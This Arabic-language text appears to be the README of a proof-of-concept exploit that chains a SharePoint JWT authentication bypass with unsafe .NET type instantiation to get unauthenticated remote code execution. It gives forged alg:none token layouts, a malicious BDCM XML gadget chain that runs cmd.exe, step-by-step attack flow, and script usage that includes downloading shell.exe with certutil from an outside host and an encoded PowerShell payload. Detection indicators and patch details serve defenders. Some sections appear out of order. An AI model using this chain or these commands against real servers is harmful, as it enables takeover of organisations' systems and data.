
سلسلة استغلال لتنفيذ أوامر عن بُعد غير مصادق عليه في Microsoft SharePoint، تجمع بين تجاوز مصادقة JWT مع إنشاء نوع .NET غير آمن لتحقيق تنفيذ الكود بحساب الخدمة.
استغلال RCE غير مصادق عليه على Microsoft SharePoint Server. لا حاجة لأي بيانات اعتماد.
عرض Stephen Fewer (Rapid7) ثغرة CVE-2026-55040 في Pwn2Own Berlin 2026. ثم اكتشفت Rapid7 ثغرة CVE-2026-63520 أثناء أبحاث المتابعة، ووجدت VulnCheck بشكل مستقل سلسلة أدوات بديلة. معًا، تمنحك هاتان الثغرتان تنفيذًا عن بُعد غير مصادق عليه ضد أي خادم SharePoint غير مُحدَّث على الإنترنت.
أصدرت CISA تنبيهات خلال ساعات من نشر الـ PoC. يتم استغلالها في البرية.
ثغرتان، سلسلة واحدة:
| CVE | النوع | CVSS | ما الذي يُكسر |
|---|---|---|---|
| CVE-2026-55040 | تجاوز مصادقة JWT | 9.1 | التحقق من رمز S2S في SharePoint لديه أربع نقاط ضعف مستقلة. اربطها معًا وستُزوّر JWT صالحًا لأي مستخدم - بما في ذلك مسؤولو الموقع - دون معرفة كلمة المرور الخاصة بهم. |
| CVE-2026-63520 | إنشاء نوع .NET غير آمن → RCE | 8.1 | يقوم Business Data Connectivity (BDC) بحل أسماء أنواع .NET عشوائية من XML مرفوع دون أي قائمة سماح. وجّهه إلى ObjectDataProvider وستحصل على Process.Start(). |
لا تهم أي من الثغرتين بمفردها. تتطلب CVE-2026-63520 مصادقة. تمنحك CVE-2026-55040 المصادقة. معًا: RCE غير مصادق عليه كحساب خدمة SharePoint.
يستخدم SharePoint رموز JWT متداخلة لمصادقة الخادم إلى الخادم (S2S). يحمل الرمز الخارجي هوية المستخدم، بينما يمثل "رمز الممثل" الداخلي التطبيق المُستدعي. أربع نقاط ضعف في SPJsonWebSecurityTokenHandlerV2.ValidateToken() تجعل الأمر كله ينهار:
نقطة الضعف 1 - التحقق من التوقيع معطّل. يضبط المُتحقق RequireSignedTokens = false. يقبل الرمز الخارجي alg: none. لا حاجة لأي توقيع.
نقطة الضعف 2 - حل x5t دون تحقق. يتم حل مفتاح توقيع رمز الممثل بالبحث عن رأس x5t (بصمة الشهادة) في مخزن الشهادات. لا يتحقق SharePoint أبدًا مما إذا كان توقيع رمز الممثل يطابق هذا المفتاح فعليًا.
نقطة الضعف 3 - التحقق من المُصدر يقبل الشهادات غير المعروفة. ينجح ValidateIssuer() إذا لم تكن شهادة التوقيع في مجموعة TrustedSecurityTokenServices. شهادة STS الخاصة بـ SharePoint غير مسجلة هناك. لذا فإن الإشارة إليها عبر x5t تجتاز التحقق من المُصدر دون قيد أو شرط.
نقطة الضعف 4 - فحص توقيع غير تشفيري. يتطلب GetTokenSignature() سلسلة غير فارغة لكنه لا يقوم بأي تحقق تشفيري. أي قيمة تنجح. AAAA تنجح.
شهادة STS عامة. تلتقطها من /_layouts/15/metadata/json/1 - نقطة نهاية غير مصادق عليها - وتحسب بصمة SHA-1، وستحصل على كل ما تحتاجه.
الرمز الخارجي (يحمل هوية المستخدم):
// الترويسة
{"alg": "none", "typ": "JWT"}
// الحمولة
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID أو UPN الهدف>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT داخلي>"
}
// التوقيع: فارغ (alg:none)
رمز الممثل الداخلي (يمثل "التطبيق"):
// الترويسة
{"alg": "RS256", "typ": "JWT", "x5t": "<بصمة شهادة STS>"}
// الحمولة
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// التوقيع: "AAAA" (حرفيًا أي شيء غير فارغ)
ثلاث طرق لاختيار هوية:
تتيح خدمة Business Data Connectivity في SharePoint للمسؤولين تعريف مصادر بيانات خارجية عبر ملفات XML لنموذج BDC (.bdcm). تحدد هذه النماذج أنواع .NET التي يقوم BDC بإنشائها في وقت التشغيل.
المشكلة تكمن في DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // أي نوع في GAC
أسماء الأنواع الأقل من 15 حرفًا تمر عبر محلل آمن. أي شيء أطول يستدعي Type.GetType() مباشرة - والذي يحل أي اسم نوع مؤهل بالتجميع من Global Assembly Cache. لا قائمة سماح. لا قائمة حظر. يتحكم المهاجم في abstractTypeName عبر XML الخاص بـ BDCM.
نستخدم System.Windows.Data.ObjectDataProvider من PresentationFramework. عند تعيين خاصية ObjectInstance الخاصة به، فإنه يستدعي MethodName على تلك النسخة. عيّن MethodName = "Start" و ObjectInstance = System.Diagnostics.Process مع StartInfo مُصمَّم، وسيقوم انعكاس مُعيِّن الخصائص في BDC بالباقي:
ObjectDataProvider created
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <الحمولة>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ property setter triggers QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
XML الخاص بـ BDCM الذي يحمل هذا:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
وثّقت VulnCheck سلسلة بديلة باستخدام System.Web.UI.LosFormatter مع إلغاء تسلسل TypeConfuseDelegate عبر LobSystem من نوع DotNetAssembly. تعمل أدوات متعددة - البدائية الأساسية هي إنشاء أنواع غير مقيد.
المهاجم خادم SharePoint
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── شهادة STS (x5t + realm) ─────────│ (غير مصادق عليه)
│ │
│── جلسة SMB فارغة إلى DC ──────────────▶ وحدة تحكم النطاق
│◀── SID النطاق ────────────────────────│
│ │
│── تزوير JWT (alg:none + توقيع AAAA) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: مصادق كمسؤول
│ │
│── POST /_api/web/lists ────────────▶│ إنشاء كتالوج BDC
│── POST .../Files/add(evil.bdcm) ──▶│ رفع سلسلة الأدوات
│── POST /_vti_bin/client.svc/ ──────▶│ تشغيل ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <الحمولة>
│ │ → يعمل كحساب خدمة SP
ست خطوات:
التقط شهادة STS. اضغط على /_layouts/15/metadata/json/1. لا حاجة لمصادقة. استخرج شهادة X.509 من keys[0].keyValue.value، واحسب تجزئة SHA-1 لها، وشفرها base64url. هذه هي x5t الخاصة بك. حقل issuer يعطيك realm.
اعثر على مسؤول موقع. جلسة SMB فارغة إلى وحدة تحكم النطاق، وLsarQueryInformationPolicy عبر LSARPC للحصول على SID النطاق، ثم كرر عبر RIDs (500، 1000-10000) مُزوِّرًا JWT لكل منها حتى يُرجع /_api/web/currentuser قيمة IsSiteAdmin: true. أو فقط قدم UPN معروفًا.
زوّر JWT. الخارجي: alg:none، nameid = SID المسؤول، actortoken = JWT الداخلي. الداخلي: alg:RS256، x5t = بصمة STS، التوقيع = AAAA. شفر base64url، واربط بالنقاط. انتهيت.
يضيف التحديث التراكمي لأغسطس 2026 دالة ValidateSafeBcsType() لتقييد أنواع .NET التي يمكن لـ BDC إنشاءها. يضيف إصلاح JWT تحققًا مناسبًا من التوقيع ويسجل شهادة STS في مجموعة خدمات الرموز الموثوقة.
انتهى الدعم الرئيسي لـ SharePoint 2016 في 2026. قد لا تتلقى المؤسسات التي ليس لديها دعم موسع الإصلاح.
تثبيت التبعيات:
pip install requests
pip install impacket # مطلوب فقط لـ --domain-ip لاكتشاف SID تلقائيًا
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
سيقوم السكربت بما يلي:
x5t و realm من بيانات STS الوصفيةpython3 poc.py \
--target sharepoint.corp.local \
--upn [email protected] \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
تريد رؤية Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]. هذا يؤكد أن تجاوز JWT يعمل وأن لديك وصولًا بمستوى المسؤول.
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn [email protected] \
--cmd "whoami"
أشياء يجب البحث عنها:
alg: none تضرب نقاط نهاية SharePoint. رموز S2S المشروعة تستخدم دائمًا RS256./_layouts/15/metadata/json/1 متبوعة باستدعاءات API مصادق عليها من نفس عنوان IP المصدر. نقطة نهاية البيانات الوصفية عامة، لكن الاستطلاع متبوعًا بوصول بمستوى المسؤول أمر مريب..bdcm جديدة تظهر في BusinessDataMetadataCatalog. معظم عمليات نشر SharePoint لا تستخدم BDC إطلاقًا. أي رفع BDCM يستحق التحقيق.ProcessQuery تشير إلى كيانات BDC غير معروفة، خاصة مع ObjectDataProvider أو LosFormatter في أسماء أنواع الكيانات.w3wp.exe (تجمع تطبيقات SharePoint). cmd.exe، powershell.exe، certutil.exe كعمليات فرعية لعملية العامل هي مؤشرات كلاسيكية.لأغراض اختبار الأمان المصرح به فقط. احصل على إذن كتابي قبل تشغيل هذا ضد أي شيء لا تملكه.
| الوضع | nameid | nii | ما تحتاجه |
|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID النطاق (عبر جلسة SMB فارغة) + تخمين RID |
| UPN | upn_bypass + مطالبة upn | urn:office:idp:activedirectory | UPN صالح (مثل [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | لا شيء. وصول محدود لكنه كافٍ لبعض السلاسل. |
احصل على ملخص نموذج. POST /_api/contextinfo مع رمز Bearer المُزوَّر. يمنحك SharePoint FormDigestValue لعمليات الكتابة.
ارفع BDCM. أنشئ مكتبة BusinessDataMetadataCatalog، وارفع XML الخاص بـ .bdcm الخبيث الذي يحتوي على سلسلة أدوات ObjectDataProvider.
اسحب الزناد. POST /_vti_bin/client.svc/ProcessQuery مع طلب يحل كيان BDC. يقوم SharePoint بإنشاء الأنواع من BDCM، ويعيّن الخصائص عبر الانعكاس، ويُطلق ObjectDataProvider أمر Process.Start(). يعمل الكود كحساب خدمة SharePoint.
| المنتج | الإصدار الضعيف أدناه | التصحيح | KB |
|---|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | تحديث تراكمي أغسطس 2026 | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | تحديث أغسطس 2026 | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | تحديث أغسطس 2026 | - |